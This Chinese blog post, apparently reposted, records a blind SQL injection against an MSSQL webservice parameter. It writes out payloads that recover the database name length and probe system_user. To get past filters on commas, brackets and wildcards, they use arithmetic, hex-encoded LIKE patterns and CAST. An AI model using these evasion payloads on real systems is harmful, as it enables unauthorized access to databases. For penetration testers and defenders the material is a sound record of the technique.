Mssql 注入记录

栏目: 数据库 · 发布时间: 5年前

背景介绍:注入点是一个webservice接口,想要获得当前的数据库名或当前用户名

Mssql 注入记录

首先对参数pid进行常规测试:

pid改为 2 and 1=1 返回异常,进行闭合等操作也无法成功,无法执行复杂的语句。

尝试改为 2-0 返回正常,改为 2-1 返回了和 1 一样的结果,证明可以进行运算。

判断下数据库名长度: 2-len(db_name())+5 返回正常:

Mssql 注入记录

证明当前数据库名长度为5。

当我想用常规操作 substring(db_name(),1,1) 的方法进行判断数据库名时,发现逗号无法使用。

这里不清楚是网站做了限制,还是这里接口对逗号不支持。

想起来见过 mysql 可以绕过逗号的限制: substr(database(), 1,1) 可以改写成 substr(database() from 1 for 1)

网上却没有找到mssql类似的方法,一时陷入困境。请教了群里的朋友,得知mssql和oracle不支持这种方式。

不过大家给出了一些方法:

使用like模糊查询,假设 tmp='admin' ,在mssql中 tmp like '[a-z]____' 会成立,另外也可以 tmp like 'a%'

我经过本地测试,发现mssql中 tmp like '[a-z]%' 也是可以的

但后续测试发现目标中select from和select where不能使用,方括号、百分号、下划线、单引号无法正常使用。

单引号可以用双引号替代,但是方括号、百分号和下划线无法绕过。

经过查阅网上资料,怀疑是xml中的特殊字符需要进行unicode编码。

把[]替换为 [] %替换为 % _替换为 _ 依然无法成功。

思考了一下注入技巧,想起来以前注入时候进行的进制转换。

在mssql本地测试环境进行测试:

select 1 where 'admin' like 'a%'; 返回1

select 1 where 'admin' like 0x6125; 返回1(0x6125为a%的16进制)

证明进制转换可行,但我到注入目标中测试时,判断system_user失败了

继续本地测试:

select system_user; 返回user_18_a7540

select 1 where system_user like 'u%'; 返回1

select 1 where system_user like 0x7525; 失败

由此可见,如果mssql中如果包含了system_user这种系统函数,就不能like 16进制的值了。

由于对mssql接触不多,上网学习了一下mssql的函数

Mssql 注入记录

本地测试一下cast函数能否绕过这个限制:

select 2-(case when(cast(111 as varchar(3)) like 111) then 1 else 0 end); 返回1

select 2-(case when(cast(system_user as varchar(100)) like 'u%') then 1 else 0 end); 返回1

select 2-(case when(cast(system_user as varchar(100)) like 0x7525) then 1 else 0 end); 返回1

成功突破了系统函数判断中不能like 16进制值的限制

我们到注入目标测试一下:

2-(case when(cast(system_user as varchar(100)) like 0x5b612d7a5d25) then 1 else 0 end) 返回正常(0x5b612d7a5d25为[a-z]%的16进制)

至此成功绕过限制


以上所述就是小编给大家介绍的《Mssql 注入记录》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Web信息架构(第3版)

Web信息架构(第3版)

[美] Peter Morville、Louis Rosenfeld / 陈建勋 / 电子工业出版社 / 2013-10 / 99.00元

本书内容涵盖了信息架构基本原理和实践应用的方方面面。全书共7个部分,包括信息架构概述、信息架构的基本原理、信息架构的开发流程和方法论、信息架构实践、信息架构与组织、两个案例研究,以及参考资料清单。 本书兼具较高的理论价值和实用价值,曾被Web设计领域多本书籍重点推荐,是信息架构领域公认的经典书籍,不论新手还是专家都能各取所需。本书可供Web设计与开发者、Web架构师、网站管理者及信息管理相关......一起来看看 《Web信息架构(第3版)》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码